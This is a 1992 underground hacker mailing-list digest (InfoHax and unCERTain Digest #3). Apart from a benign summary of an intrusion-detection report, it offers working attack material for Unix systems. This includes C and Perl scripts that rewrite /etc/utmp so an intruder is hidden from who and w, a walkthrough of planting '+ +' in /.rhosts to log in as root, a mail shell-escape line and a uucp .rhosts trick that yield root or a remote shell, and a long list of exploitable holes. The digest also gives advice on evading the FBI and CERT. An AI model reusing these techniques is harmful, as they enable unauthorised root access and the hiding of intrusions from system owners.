the first thing is an allow, then unmatched hosts are denied. The
|
||
rejections lines give daemon program and args just like lines in
|
||
/etc/inetd.conf do.
|
||
I didn't include a makefile because the one I use is GNU make-specific and
|
||
refers to pathnames on my machine which don't make sense elsewhere.
|
||
---------------end of Roland's comments --------
|
||
This was followed by 2000 lines of shar. The shar file is available via
|
||
anonymous ftp from ccb.ucsf.edu (128.218.1.13). The file's name is
|
||
/pub/inetd.fsf.Z.
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
------------------------------
|
||
|
||
Date: Thu, 13 Feb 92 10:41:08 -0700
|
||
Subject: audit.tools
|
||
|
||
==============================================================================
|
||
Section Name chapter.sec.version 00/00/00
|
||
audit.tools 1.14.0 02/13/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
Summary of the Trusted Information Systems (TIS) Report on Intrusion
|
||
Detection Systems - prepared by Victor H. Marshall
|
||
********************************************************************
|
||
INTRUSION DETECTION IN COMPUTERS
|
||
January 29, 1991
|
||
1. EXECUTIVE SUMMARY. Computer system security officials
|
||
typically have very few, if any, good automated tools to gather
|
||
and process auditing information on potential computer system
|
||
intruders. It is most challenging to determine just what actions
|
||
constitute potential intrusion in a complex mainframe computer
|
||
environment. Trusted Information Systems (TIS), Inc. recently
|
||
completed a survey to determine what auditing tools are available
|
||
and what further research is needed to develop automated systems
|
||
that will reliably detect intruders on mainframe computer
|
||
systems. Their report #348 was done for the Air Force and
|
||
includes details on nine specific software tools for intrusion
|
||
detection.
|
||
2. BACKGROUND. Computer security officials at the system level
|
||
have always had a challenging task when it comes to day-to-day
|
||
mainframe auditing. Typically the auditing options/features are
|
||
limited by the mainframe operating system and other system
|
||
software provided by the hardware vendor. Also, since security
|
||
auditing is a logical subset of management auditing, some of the
|
||
available auditing options/features may be of little value to
|
||
computer security officials. Finally, the relevant auditing
|
||
information is probably far too voluminous to process manually
|
||
and the availability of automated data reduction/analysis tools
|
||
is very limited. Typically, 95% of the audit data is of no
|
||
security significance. The trick is determining which 95% to
|
||
ignore.
|
||
3. SPECIAL TOOLS NEEDED. A partial solution to this problem
|
||
could be to procure or develop special automated tools for doing
|
||
security auditing. For example, in the IBM mainframe
|
||
environment, programs such as RACF, CA-ACF2, and CA-TOP SECRET
|
||
are commonly used to control data access and programs such as CA-
|
||
EXAMINE are used to supplement standard systems auditing.
|
||
Nevertheless, most of these generally-available software systems
|
||
do not comprehensively address the problem of intrusion
|
||
detection. In fact, intrusion detection is one of the most
|
||
challenging (security) auditing functions. There are, in fact,
|
||
few existing systems designed to do this, and they must be
|
||
tailored to specific operating systems. Also, they do not
|
||
generally gather auditing information on activities within
|
||
database management systems or application software. Much
|
||
research and development needs to be done before intrusion
|
||
detection will be generally available.
|
||
4. REPORT AVAILABLE. In the meantime, however, it would be wise
|
||
to stay abreast of the state-of-the-art in automated auditing
|
||
tools for helping security managers detect intruders. TIS, Inc.
|
||
recently completed a very comprehensive report on the tools
|
||
currently available for intrusion detection and the recommended
|
||
directions for future research. TIS report #348 is entitled
|
||
"Computer System Intrusion Detection, E002: Final Technical
|
||
Report" and is dated September 11, 1990. It was done under
|
||
contract to the Rome Air Development Center at Griffiss Air Force
|
||
Base in New York. TIS report #348 comprehensively covers the
|
||
known intrusion detection techniques. It also reviews the nine
|
||
comprehensive intrusion detection tools currently available or
|
||
under development.
|
||
a. Intrusion Detection Techniques. Although intrusion
|
||
detection is normally accomplished using software tools, hardware
|
||
tools are potentially more secure because they cannot be easily
|
||
altered. In either case, intrusion detection requires that
|
||
security-related auditing data be collected, stored, and
|
||
analyzed.
|
||
(1) Data Collection. Specific events or sequences of
|
||
events must be defined as important enough to cause generation of
|
||
an audit record. Potentially every event has security
|
||
significance, but logging the details of every event would
|
||
probably eliminate any hope of processing efficiency (or even
|
||
effectiveness). Thus, someone must decide which events to log
|
||
and when. Also, as noted earlier, the events logged tend to be
|
||
exclusively operating system events. It would be useful to be
|
||
able to log some events internal to database management systems
|
||
and/or application systems.
|
||
(2) Data Storage. Some auditing data can be processed
|
||
in real-time, but most of it will go to an audit log for later
|
||
review. Security is concerned with the extent to which:
|
||
- The storage medium for the audit log is
|
||
READ-only and non-volatile,
|
||
- The computer system used to store the audit
|
||
log is connected/linked to the one from which
|
||
the auditing data was gathered, and
|
||
- The electronic (or manual) data paths are
|
||
protected.
|
||
(3) Data Analysis. By far, the most difficult task is
|
||
to analyze the auditing data. A comprehensive audit log will
|
||
certainly be too voluminous for reasonable human processing.
|
||
Thus, the following techniques (in addition to other techniques)
|
||
must be used in some ethical/legal combination to reduce the
|
||
security-relevant audit data to meaningful conclusions:
|
||
- User Profiles
|
||
- Anomalies
|
||
- Historical Norms
|
||
- Trend Analyses
|
||
- Probable Scenarios
|
||
- Known System Flaws
|
||
- Threat Probabilities
|
||
- Simulated Intrusions
|
||
- Statistical Sampling
|
||
- Expert System Rules
|
||
- ArtificIal Intelligence
|
||
- Hierarchies of Concern (Levels of Security)
|
||
- Heuristics
|
||
- Neural Networking
|
||
(4) User Interface. Finally, the data analysis
|
||
process should have a "friendly" user (i.e., security manager)
|
||
interface that supports rapid learning, minimal frustration, and
|
||
effective results.
|
||
b. Nine Tools Reviewed. The nine automated tools reviewed
|
||
in some depth in TIS report #348 are:
|
||
(1) ComputerWatch Audit Reduction Tool. AT&T Bell
|
||
Laboratories developed ComputerWatch in 1989 to summarize their
|
||
internal audit files produced by System V/MLS, a version of UNIX.
|
||
ComputerWatch could be used on other systems if the appropriate
|
||
changes were made to the format/filter module.
|
||
(2) Discovery. TRW Information Systems Division
|
||
developed Discovery in 1986 to analyze access data from their
|
||
credit database housed in a dial-up network of IBM 3090s running
|
||
under the MVS operating system. Because it is application-
|
||
specific, Discovery could not be easily implemented in other
|
||
environments. However, Discovery does process auditing data
|
||
produced by IBM's standard System Management Facility (SMF).
|
||
(3) Haystack. Haystack was developed by Haystack
|
||
Laboratories, Inc. for the Air Force Cryptologic Support Center
|
||
in 1988 to analyze data from Unisys 1100/2200 mainframes running
|
||
under the OS/1100 operating system. The actual analysis is done
|
||
on a personal computer (such as the Zenith Z-248) running under
|
||
MS-DOS. Haystack could not be easily implemented in other
|
||
environments.
|
||
(4) Intrusion-Detection Expert System (IDES). The
|
||
IDES model was developed by SRI International in 1985 and has
|
||
been implemented on Sun workstations as a research prototype
|
||
under a contract with the U.S. Navy (SPAWAR). A version of IDES
|
||
for IBM mainframes (using the MVS operating system) will soon be
|
||
implemented under a contract with the Federal Bureau of
|
||
Investigation (FBI). IDES is designed to be easily implemented
|
||
in many different environments. The IDES model has been the
|
||
basis for most intrusion detection research to date and it forms
|
||
the conceptual basis for Haystack, MIDAS, and W&S. (NOTE:
|
||
Haystack was covered above. MIDAS and W&S are covered below.)
|
||
(5) Information Security Officer's Assistant (ISOA).
|
||
ISOA is an R&D prototype system developed by Planning Research
|
||
Corporation (PRC) in 1989 to analyze data from two types of
|
||
system - the UNIX SunOS and the IBM AT Xenix. The actual
|
||
analysis is done on a Sun 3/260 color workstation. ISOA is table
|
||
driven, so it can easily be used to monitor many different
|
||
environments.
|
||
(6) Multics Intrusion Detection and Alerting System
|
||
(MIDAS). MIDAS was developed by the National Security Agency's
|
||
(NSA's) National Computer Security Center (NCSC) in 1988 to
|
||
analyze data from a Honeywell DPS-8/70 computer running the
|
||
Multics operating system (in support of NSA's Dockmaster system).
|
||
NCSC intends to further develop MIDAS so it can process audit
|
||
data from Sun and Apple systems.
|
||
(7) Network Anomaly Detection and Intrusion Reporter
|
||
(NADIR). NADIR was developed by the Department of Energy"s Los
|
||
Alamos National Laboratory (LANL) in 1989 to analyze data from a
|
||
unique LANL Network Security Controller (NSC). There are no
|
||
plans to modify NADIR for use in other systems.
|
||
(8) Network Security Monitor (NSM). An NSM prototype
|
||
was recently developed by the University of California Davis
|
||
(UCD) and is currently running on a Sun 3/50. NMS was designed
|
||
to analyze data from an Ethernet local area network (LAN) and the
|
||
hosts connected to it. NSM is a research system, but UCD hopes
|
||
to eventually expand it's scope to include real environments,
|
||
real attacks, and perhaps wide area networks.
|
||
(9) W&S. W&S is an anomaly detection system that has
|
||
been under development at LANL for the NCSC and DOE since 1984.
|
||
W&S runs on a UNIX workstation and can analyze data from several
|
||
different systems.
|
||
c. More Research Needed. The specific TIS recommendations
|
||
for further research include the following near-term (1 to 5
|
||
year) and long-term (over 5 year) recommendations.
|
||
(1) Near Term Recommendation. The main near-term
|
||
recommendation is to develop and commercially market an audit
|
||
analysis "tool kit" flexible enough to meet the needs of a wide
|
||
variety of security users and of a very dynamic environment.
|
||
This would require that, among other things, someone:
|
||
- Study the techniques for coordinating data from
|
||
multiple levels of system abstraction.
|
||
- Explore methods for integrating components of
|
||
existing intrusion detection systems into a
|
||
single prototype system.
|
||
- Study the uses of neural networks and how they
|
||
might be employed in audit analysis tools.
|
||
- Develop the initial design for a proof-of-
|
||
concept prototype to include a statistical tool
|
||
(to develop user profiles), an expert system
|
||
tool (to analyze the data based on predefined
|
||
and consistent rules), and a neural network
|
||
tool.
|
||
- Determine the typical level of security
|
||
expertise and perceived needs of a security
|
||
manager who will use these auditing tools.
|
||
- Test the prototype tool kit using real/live
|
||
penetration techniques and data.
|
||
(2) Long Term Recommendation. The main long term
|
||
recommendation of TIS report #348 is that studies of the issues
|
||
surrounding intrusion detection technology be conducted. These
|
||
issues include:
|
||
- Risk Management
|
||
- Advanced Tools
|
||
- Network Monitoring
|
||
- Distributed Processing (of Audit Data)
|
||
- Statistical Analysis
|
||
- Detection Sensitivity Analysis
|
||
- Collusion Among Computer Users
|
||
- Distributed Network Attacks
|
||
- Intrusion Response (Counterattack)
|
||
- Computer User Responses to Intrusion Detection
|
||
- Recognition (to Reduce False Positive
|
||
Identifications)
|
||
5. TIS REPORT CONCLUSION. TIS report #348 concludes that there
|
||
has been much good scientific study done on intrusion detection
|
||
technologies, but insufficient time has been spent:
|
||
- Analyzing precise user needs,
|
||
- Determining the most appropriate technologies to use in
|
||
specific situations, and
|
||
- Cooperatively sharing the lessons learned from actual
|
||
intrusions.
|
||
VICTOR H. MARSHALL
|
||
Systems Assurance Team Leader
|
||
Booz, Allen & Hamilton Inc.
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
------------------------------
|
||
|
||
Date: Thu, 13 Feb 92 10:42:04 -0700
|
||
Subject: utmp_ed.c
|
||
|
||
==============================================================================
|
||
Section Name chapter.sec.version 00/00/00
|
||
utmp_ed.c toolbox.01.01 02/13/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
/* UTMP EDITOR. ROOT ONLY EXECUTABLE.. [for hackers.. :) ]
|
||
made in Korea
|
||
Ignor warnings...
|
||
By kod's friend.. 'X' */
|
||
#include <utmp.h>
|
||
#include <fcntl.h>
|
||
#include <time.h>
|
||
main()
|
||
int fd, i = 0;
|
||
char buff[100], tmp[100];
|
||
struct utmp *ttt;
|
||
ttt = (struct utmp *)buff;
|
||
if ((fd = open("/etc/utmp",O_RDWR)) == 0)
|
||
exit(1);
|
||
printf("File /etc/utmp opened.\n");
|
||
while (read(fd, buff, sizeof(struct utmp)) == sizeof(struct utmp)) {
|
||
printf("[%d] %s %s %s %s", i++, &(ttt->ut_line), &(ttt->ut_name)
|
||
, &(ttt->ut_host), ctime(&(ttt->ut_time)));
|
||
}
|
||
printf("what entry do you want to edit? = ");
|
||
scanf("%d", &i);
|
||
lseek(fd, (long)(i * sizeof(struct utmp)), 0);
|
||
read(fd, buff, sizeof(struct utmp));
|
||
printf("%s -> ", &(ttt->ut_line));
|
||
strcpy(&(ttt->ut_line)," ");
|
||
scanf("%s", &(ttt->ut_line));
|
||
printf("%s -> ", &(ttt->ut_name));
|
||
strcpy(&(ttt->ut_name)," ");
|
||
scanf("%s", &(ttt->ut_name));
|
||
printf("%s -> ", &(ttt->ut_host));
|
||
strcpy(&(ttt->ut_host)," ");
|
||
scanf("%s", tmp);
|
||
if (!strcmp(tmp,"null"))
|
||
tmp[0] = 0;
|
||
strcpy(&(ttt->ut_host), tmp);
|
||
lseek(fd, (long)(i * sizeof(struct utmp)), 0);
|
||
write(fd, buff, sizeof(struct utmp));
|
||
close(fd);
|
||
printf("Thank you.\n");
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
|
||
Date: Sat, 15 Feb 92 10:35:43 -0700
|
||
Subject: rhosts.hole
|
||
|
||
==============================================================================
|
||
rhosts.hole 06.01.00 02/15/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
% ls -l .rhosts
|
||
.rhosts 1 -rw-rw-rw- 69 root Jun. 9, 1969
|
||
% cat >> .rhosts
|
||
+ +
|
||
^D
|
||
% cat /.rhosts
|
||
heaven.com god
|
||
+ +
|
||
% rlogin this.host.com -l root
|
||
Last login ... from ...
|
||
root# rm -rf .rhosts
|
||
root# cat > .rhosts
|
||
heaven.com god
|
||
^D
|
||
root#
|
||
------------------------------------------------------------------------------
|
||
Comments: I'm not sure, but I think one + will work too... By
|
||
inserting the line '+ +' into an .rhosts file, one can gain access to
|
||
the account that uses that file from any account on any system provided that:
|
||
1) the account is capable of being logged into according to /etc/ttytab
|
||
2) if the account is root, some systems may require a password for all root
|
||
logins. If you put the '+ +' line in yourself, be sure to remove it when
|
||
you're done. One way to do this is to copy the .rhosts file to /tmp and then
|
||
copy it back.
|
||
Q's: What does this do for hosts.equiv?
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
------------------------------
|
||
|
||
Date: Sat, 15 Feb 92 10:37:16 -0700
|
||
Subject: unwho.pl (revision)
|
||
|
||
==============================================================================
|
||
unwho.pl toolbox.01.01 02/15/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
#!/usr/local/bin/perl
|
||
# This assumes your /etc/utmp file looks like ours
|
||
$unname = shift;
|
||
open(UTMP,'+</etc/utmp');
|
||
@mo = (Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec);
|
||
while (read(UTMP,$utmp,36)) {
|
||
($line,$name,$host,$time) = unpack('A8A8A16l',$utmp);
|
||
if ($name) {
|
||
$host = "($host)" if $host;
|
||
($sec,$min,$hour,$mday,$mon) = localtime($time);
|
||
printf "%-9s%-8s%s %2d %02d:%02d %s\n",
|
||
$name,$line,$mo[$mon],$mday,$hour,$min,$host;
|
||
if ($name eq $unname) {
|
||
seek(UTMP,-36,1);
|
||
print UTMP pack('A8a8A16l', "","","",0);
|
||
seek(UTMP,0,1);
|
||
}
|
||
}
|
||
}
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Here's a perl script that removes entries from the /etc/utmp file provided
|
||
that:
|
||
1) the /etc/utmp file is world-writable or you are root (utmp is, by default,
|
||
world-writable on SunOS.)
|
||
usage: unwho <username>
|
||
NOTE: you may have to edit the first line to match the path to perl.
|
||
Conceivably, you can use this script to remove yourself from utmp so that
|
||
you're invisible to programs which read /etc/utmp (like w, who, users).
|
||
NOTE: ps doesn't use /etc/utmp, it uses vmunix, so your processes will still
|
||
show up to other users.
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
|
||
-------------------------------------
|
||
|
||
To join this group or have your thoughts in the next issue, please
|
||
send electronic mail to Tangent at the following address;
|
||
|
||
infohax
|
||
|
||
The views expressed in InfoHax Digest
|
||
are those of the individual authors only.
|
||
|
||
*********************
|
||
End of InfoHax Digest
|
||
*********************
|
||
|
||
|
||
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||
*** ***
|
||
*** unCERTain DIGEST #3 ***
|
||
*** 2/23/92 ***
|
||
*** ***
|
||
-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||
Well folks, we kicked all those phuckin lamers off the list and recruited
|
||
some REAL TALLENT!
|
||
Our current roster is:
|
||
|
||
Gail T. Dan Farmer
|
||
G Gordon Liddy Bob Morris
|
||
Matt Bishop David A Curry
|
||
Brad Powell Niel Gorsuch
|
||
Ed DeHart Eugene Spafford
|
||
Brian Kernighan Ellie Dee
|
||
Dennis Ritchie Ken Thompson
|
||
|
||
WELCOME!
|
||
|
||
------------------------------------------------------------------------------
|
||
*** Introduction ***
|
||
------------------------------------------------------------------------------
|
||
Contributions:
|
||
Several people still haven't contributed anything. I can understand
|
||
that many of you are very busy and have little time to write. If you can just
|
||
find 15-30 minutes to take a trick that you use or a hole that you've noticed
|
||
and do a writeup about it, that'd make us very happy. After all, what's the
|
||
point of having people who don't contribute remain on the mailing list? It's
|
||
just an added security risk. If you don't contribute anything, you will be
|
||
in danger of being removed from the list. I don't think it's too much to ask
|
||
to have everyone make at least one contribution.
|
||
|
||
------------------------------------------------------------------------------
|
||
Security:
|
||
This last weekend, some things happened concerning the security of
|
||
Infohax. I'm not all that clear on the details, but I'll try my best to
|
||
outline what happened. Someone on IRC was reported to have mentioned the
|
||
Infohax project. He also claimed to have copies of the digest and said he had
|
||
given them to CERT. He didn't say anything specific about the project, so it's
|
||
possible that he just heard a name and is trying to scare someone. Also,
|
||
a member's account was reported to have been seized with a copy of the digest
|
||
in his directory. We don't know whether or not the authorities have copies of
|
||
the digest or not, but we're attempting to tighten security just in case.
|
||
Those who we feel haven't contributed anything to the project so far have been
|
||
removed until they do make a contribution. They will be sent a notice
|
||
informing them of this fact. Also, we've lost our listserv address at
|
||
XXXXXXXXXXXX because of the concerns of some people there.
|
||
|
||
In order to prevent anyone finding out about this project we ask the
|
||
following:
|
||
1) Ideally, we ask that you keep copies of the digest offline or, if online,
|
||
in an encrypted form.
|
||
2) Please don't mention the project to anyone unless they're already a member.
|
||
3) Non-contributors will be removed from the list. People who don't
|
||
contribute are just dead weight and add to the possibility of security
|
||
leaks. I can understand people being busy for periods of time, but please
|
||
make an effort to contribute regularly.
|
||
4) The project name will change from time to time, too many mail spools are
|
||
being grep'd.
|
||
5) No handles, names, or contact points will be mentioned in the digest.
|
||
|
||
Only with your help can we make this work.
|
||
-----------------------------------------------------------------------------
|
||
A reminder:
|
||
This project is not about anything illegal, we are trying to collect and
|
||
preserve group knowledge. It is NOT about applying it! What you do on your
|
||
own time is your own business. No part of this project concerns the breaking
|
||
of any laws or encouraging others to do so, it's about how it could be done.
|
||
There we said it, considering the current 'weather', we felt we needed a
|
||
CYA type statement. We are NOT a hacking group, we collect, develope and
|
||
share knowledge and techniques. PERIOD!
|
||
------------------------------------------------------------------------------
|
||
Voting:
|
||
Voting will be temporarily suspended until the security issues are
|
||
cleared up. The list will remain at its current size until then.
|
||
------------------------------------------------------------------------------
|
||
TOC to date: ch.sec.rev ch.sec.rev
|
||
1 welcome.hax none 2 wtmp.hacker 01.12.01
|
||
2 welcome.hax2 none 2 rfc.authd.draft 01.13.00
|
||
3 intro.hax none 2 son.of.IP 01.14.00
|
||
2 hole.list hole.list.00 2 audit.tools 01.15.00
|
||
3 hole.list.2 hole.list.01 3 war.hax 01.16.00
|
||
1 sysadmin.comments 01.01.00 2 rdist.hole 06.00.00
|
||
1 frm.paper 01.02.00 2 rhosts.hole 06.01.00
|
||
1 frm.mentor.paper 01.03.00 1 unwho.pl cookbook.01.00
|
||
1 shell.tools 01.04.00 2 utmp_ed.c cookbook.01.01
|
||
1 phone.trace.evsn 01.05.00 2 unwho.pl(rev) cookbook.01.02
|
||
1 BSD.accnt.files 01.06.00 3 smforwrd.c cookbook.06.00
|
||
1 trace.fakemail.gd 01.07.00 3 smwrite.c cookbook.06.01
|
||
1 IP.tracing 01.08.00 3 smwiz.trk cookbook.06.02
|
||
1 more.IP.tracing 01.09.00 3 smdebug.c cookbook.06.03
|
||
1 rfc931 01.10.00 3 sploit.c cookbook.06.04
|
||
1 hacker.trkr.tools 01.11.00 3 at_race.c cookbook.12.00
|
||
3 chfn.sh cookbook.12.01
|
||
oops... 3 vmunix.c cookbook.13.00
|
||
---------------------------------------------------------------------------
|
||
Now to the good part! :)
|
||
Index:
|
||
======
|
||
intro.hax3 the usual blerb ...
|
||
FYI current 'intel' about the scene ...
|
||
hole.list.2 CONTRIBUTE TO ME!, new holes, and sollutions welcome!
|
||
war.hax how a hacker caught someone snooping arround his accnt
|
||
smforwrd.c using sendmail to write to another users .rhosts files
|
||
smwrite.c sendmail write hole like above but different
|
||
smwiz.trk sendmail wiz - still works on a few systems...
|
||
smdebug.c sendmail debug trick, used by the internet worm
|
||
sploit.c simmilar to smforwrd.c but different
|
||
at_race.c at race contition to get root
|
||
chfn.c change finger info race condition to get root
|
||
vmunix.c kernel/tty reader
|
||
------------------------------------------------------------------------------
|
||
----------------------------------------------------------------------------
|
||
FYI:
|
||
As a service to our members we will from time to time include current
|
||
security related info about people and sites.
|
||
|
||
DO NOT SEND ********ANY********* MAIL TO ANY USER AT:
|
||
|
||
gmuvax2.gmu.edu
|
||
|
||
ALL EMAIL SENT THERE IS BEING READ BY THE FEDS, AND I MEAN EVERYTHING
|
||
THAT IS BEING SENT NOW OR WAS SENT OVER THE LAST 10 MONTHS.
|
||
|
||
Ninja Master:is rummered to have gotten into a car accident, and to have died.
|
||
(there are also rummers that he didn't, anyway, no one has heard from him)
|
||
Feanor: has changed his handle to XXXXXXXXand is being watched by the cs
|
||
dept at his school. do not send any mail to his address.
|
||
Dispater:is being watched by his cs dept, do not send any mail to his address
|
||
Tangent: is being watched by the sysadmins at cXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||
any mail should be directed to one of the other addresses or her accnt
|
||
at the old listserv site.
|
||
Albatross:is being watched, no safe address at this time, do not send mail to
|
||
XXXXXXXXXXXXXXXXXXXXX
|
||
Conflict: is being watched, no safe address at this time, do not send mail to
|
||
XXXXXXXXXXXXXXXXXXXXXXX
|
||
There may be some serveilence of the machine gnu.ai.mit.edu, but this is
|
||
unclear at this time.
|
||
|
||
>Subject: pass the word...
|
||
>
|
||
>there's rumoredly a person sniffing all traffic on #hack ... you may
|
||
>want to have yourself and your friends hold off on serious chats at
|
||
>least for now, as this person is claiming to be dumping it to the FBI
|
||
>(either as its going on or in the future, it wasn't clear).
|
||
>
|
||
>Just so you know...
|
||
>
|
||
|
||
Not So Humble Babe and a few others were busted see the next phrack for
|
||
info. (these people were carding and into warez ...)
|
||
|
||
Alot of people have had DNR's on their lines in Cal - feds were after the
|
||
TRW hackers - few busts... (credit scam)
|
||
|
||
Just a reminder to stay away from cards, codez, .gov,+ .mil sites. You
|
||
WILL be busted eventually if you don't. (also anything to do w/ money ...)
|
||
-----------------------------------------------------------------------------
|
||
|
||
==============================================================================
|
||
hole.list.2 hole.list.01 02/23/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
|
||
=========
|
||
GENERAL
|
||
=========
|
||
|
||
1. Do not allow usernames to contain any of the following characters ";~!`"
|
||
(or any shell meta-charaters). This allows setuid root programs that
|
||
popen to be spoofed.
|
||
|
||
2. Never allow a setuid to root program to send a mail message that the user
|
||
creates to either the Berkeley mailer or mailx. All a user has to do
|
||
to break root is to send a line such as:
|
||
|
||
~!cp /bin/sh /tmp/sh; chmod 2555 /tmp/sh
|
||
|
||
That is that Berkeley mail(1) and Berkeley mailx(1) BOTH allow this shell
|
||
escape to be executed if the line starts in column one of stdout while
|
||
entering the message text.
|
||
|
||
3. Most security holes in UNIX are related to incorrect setting of directory
|
||
and file permissions or race conditions in the kernel that allow setuid
|
||
programs to be exploited. All non-standard setuid programs should be
|
||
examined.
|
||
|
||
4. Many systems can be compromised with NFS/RPC. A skilled RPC writer can
|
||
break security relatively easily. MIT's PROJECT ATHENA came up with
|
||
Kerberos to address these problems, networks are usually very insecure.
|
||
|
||
5. The mount command should not be executeable by ordinary users. A setuid
|
||
program on a mountable disk is NOT TO BE TRUSTED.
|
||
|
||
6. Systems that allow read-only mounting of foriegn disk are a security
|
||
hole. Setuid programs are normally honored. This allows a person who
|
||
has root access on a foriegn machine to break it on another.
|
||
|
||
7. Expreserve can be a huge hole (see the following)
|
||
|
||
/dev/fb
|
||
the frame buffer devices on at least suns are world
|
||
readable/writeable, which is at best annoying (when
|
||
someone runs something strange on you) and at worst
|
||
insecure (since someone can take a snapshot of your screen
|
||
via screenload or whatnot)
|
||
|
||
/dev/*st*, *mt*, etc (tape devices)
|
||
generally world readable/writeable, bad since others can
|
||
nuke your tapes, read your backups, etc.
|
||
|
||
chfn, chsh
|
||
used to create a root account
|
||
|
||
core
|
||
will system dump a setgid core image?
|
||
|
||
domain name system
|
||
a sysadmin running the soa for a domain somewhere can
|
||
create a bugs reverse address mapping table for one of his
|
||
hosts that causes its IP address to have the domain name
|
||
of a machine that my host has in its hosts.equiv file. if
|
||
i'm using the usual version of 'istrusted' (I think that's
|
||
the routine's name), the address lookup reveals the name
|
||
of the host to be one that my host trusts, and this other
|
||
sysadmin can rlogin into my machine or rsh or whatnot at
|
||
will.
|
||
|
||
fchown
|
||
test for bad group test
|
||
|
||
ftruncate
|
||
can be used to change major/minor numbers on devices
|
||
|
||
fingerd
|
||
hard .plan links - reading unreadable files readable by
|
||
user(fingerd)
|
||
|
||
setuid, .plan links
|
||
|
||
running as root
|
||
(fingerd_test.sh)
|
||
|
||
buffer overrun
|
||
|
||
file mod test.
|
||
test of file does not loose the setuid bit when modified
|
||
|
||
|
||
ftp
|
||
ftpd
|
||
static passwd struct overwrite
|
||
|
||
4.2 based bug, userid not reset properly, (after logging
|
||
in enter comment "user root" and you are, last seen
|
||
onder SunOS 3.3?).
|
||
|
||
overwrite stack somehow?
|
||
|
||
hosts.equiv
|
||
default + entry
|
||
|
||
istrusted routine - easy to spoof by bad SOA at remote
|
||
site with hacked reverse address map.
|
||
|
||
lock
|
||
4.1bsd version had the password "hasta la vista" as a
|
||
builtin trapdoor. (found in ultrix)
|
||
|
||
lost+found, fsck
|
||
lost+found should be mode 700, else others might see
|
||
private files.
|
||
|
||
lpd
|
||
its possible to ovberwrite files with root authority with
|
||
user level access locally or remotely if you have local
|
||
root access
|
||
|
||
lpr
|
||
lpr -r access testing problem
|
||
|
||
lprm
|
||
trusts utmp
|
||
|
||
passwd
|
||
fgets use allows long entries which will be mangled into
|
||
::0:0::: entries
|
||
|
||
also allows:
|
||
fred:...:...:...:Fred ....Flintstone::/bin/sh =>
|
||
fred:...:...:...:Fred.....
|
||
Flintstone::/bin/sh
|
||
which is a root entry with no password!
|
||
|
||
fix - should skip to eol if it didn't read whole entry,
|
||
should enforce buffer limits on text in file, don't use
|
||
atoi (since atoi(/bin/sh) is 0).
|
||
|
||
portmap
|
||
allows other net entities to make bindings - may not be a
|
||
"security hole", can lead to denial of service.
|
||
|
||
rcp
|
||
nobody problem
|
||
|
||
rexd
|
||
existence
|
||
|
||
rwall,comsat
|
||
running as root, utmp world writeable, writes to files as
|
||
well as devices in utmp dev fields.
|
||
|
||
|
||
rdist - buffer overflow
|
||
|
||
selection_svc
|
||
allowed remote access to files
|
||
|
||
sendmail
|
||
debug option
|
||
|
||
wizard mode
|
||
|
||
TURN command
|
||
allows mail to be stolen
|
||
|
||
decode mail alias - anyone can send mail to decode, write
|
||
to any file onwed by daemon, if they can connect to
|
||
sendmail daemon, can write to any file owned by any user.
|
||
|
||
|
||
overflow input buffer
|
||
cause the sendmail deamon to lock up
|
||
|
||
overwrite files
|
||
sendmail can be "tricked" into delivering mail
|
||
into any file but those own my root.
|
||
|
||
-oQ (different Q)
|
||
fixed in newer versions
|
||
|
||
mqueue must not be mode 777!
|
||
|
||
what uid does |program run with?
|
||
|
||
sendmail -bt -C/usr/spool/mail/user - in old versions,
|
||
allows you to see all lines of the file.
|
||
|
||
setuid bit handling
|
||
setuid/setgid bit should be dropped if a file is modified
|
||
|
||
fix: kernel changes
|
||
|
||
setuid scripts
|
||
there are several problems with setuid scripts. is it
|
||
worth writing tests for these? some systems might have
|
||
fixed some of the holes - does anyone know how one fixes
|
||
these problems in a proactive fashion?
|
||
|
||
sh
|
||
IFS hole (used with vi, anything else?)
|
||
|
||
su
|
||
overwrite stack somehow?
|
||
|
||
tcp/ip
|
||
sequence number prediction makes host spoofing easier
|
||
|
||
source routing make host spoofing easier
|
||
|
||
rip allows one to capture traffic more easily
|
||
|
||
various icmp attacks possible
|
||
|
||
(I suspect a traceroute'd kernel will allow one to easily
|
||
dump packets onto the ethernet)
|
||
|
||
tftp
|
||
allows one to grab random files (eg, /etc/passwd).
|
||
fix - should do a chroot
|
||
|
||
allows puts as well as gets, no chroot
|
||
|
||
fix - don't run as root, use chroot, no puts, only if boot
|
||
server.
|
||
|
||
utmp
|
||
check to see if world writeable (if so, the data can't be
|
||
trusted, although some programs are written as though they
|
||
trust the data (comsat, rwalld)).
|
||
|
||
uucp
|
||
check if valid uucp accounts are in the /etc/ftpusers. If
|
||
the shell is uucico and passwd is valid make sure it is
|
||
listed in ftpusers.
|
||
|
||
check to see that uucp accounts have shell: if left off,
|
||
folks can do:
|
||
|
||
cat >x
|
||
myhost myname
|
||
^D
|
||
uucp x ~uucp/.rhosts
|
||
rsh myhost -l uucp sh -i
|
||
|
||
HDB nostrangers shell escape
|
||
|
||
HDB changing the owner of set uid/gid files
|
||
|
||
HDB meta escapes on the X command line
|
||
|
||
HDB ; breaks on the X line
|
||
|
||
uudecode
|
||
if it is setuid, some versions will create setuid files
|
||
|
||
|
||
ypbind
|
||
accepts ypset from anyone (can create own ypserv and data,
|
||
